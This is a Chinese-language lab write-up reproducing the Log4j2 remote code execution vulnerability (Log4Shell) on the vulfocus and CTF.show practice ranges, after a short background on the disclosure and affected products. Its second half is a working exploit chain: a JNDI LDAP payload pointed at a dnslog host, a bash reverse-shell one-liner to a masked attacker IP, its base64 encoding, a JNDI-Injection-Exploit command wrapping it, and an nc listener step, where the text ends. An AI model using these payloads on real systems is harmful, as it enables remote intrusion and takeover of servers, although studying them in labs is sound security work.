Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。据悉,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。可能的受影响应用包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。很多互联网企业都连夜做了应急措施。截至本文发出,斗鱼、京东、网易、深信服和汽车产业安全应急响应中心皆发文表示,鉴于该漏洞影响范围比较大,业务自查及升级修复需要一定时间,暂不接收 Log4j2 相关的远程代码执行漏洞。
高危
Apache Log4j 2.x <= 2.15
vulfocus靶场环境地址:http://vulfocus.fofa.so/#/dashboard
选择:Log4j2远程命令执行
CTF.show靶场环境地址 :https://ctf.show/challenges#Log4j复现-1730
我们去访问vulfocus给开启的环境
springboot 默认页面,大哥说他不支持get请求,根据提示,默认传参为post参数为:payload=xxxxx。
开启HackBar构造POST包.
Ok了!!他ok了!!!,说明我们这个功能可以正常使用,那我们去寻找可以利用的payload。
payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}
输入payload,发包,稍等一分钟,dnslog就收到了回显,这是我们可以证明存在Log4j2远程命令执行漏洞
我们去在寻找反弹shell的payload与利用方法
首先
准备反弹shell的命令payload
bash -i >& /dev/tcp/1x.16x.x9.1x/1235 0>&1
并将其进行base64加密
YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx
然后用大哥给的工具,生成payload
工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
运行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xeC4xNngueDkuMXgvMTIzNSAwPiYx}|{base64,-d}|{bash,-i}" -A "1x.16x.x9.1x "
使用payload进行攻击,服务器上开启nc监听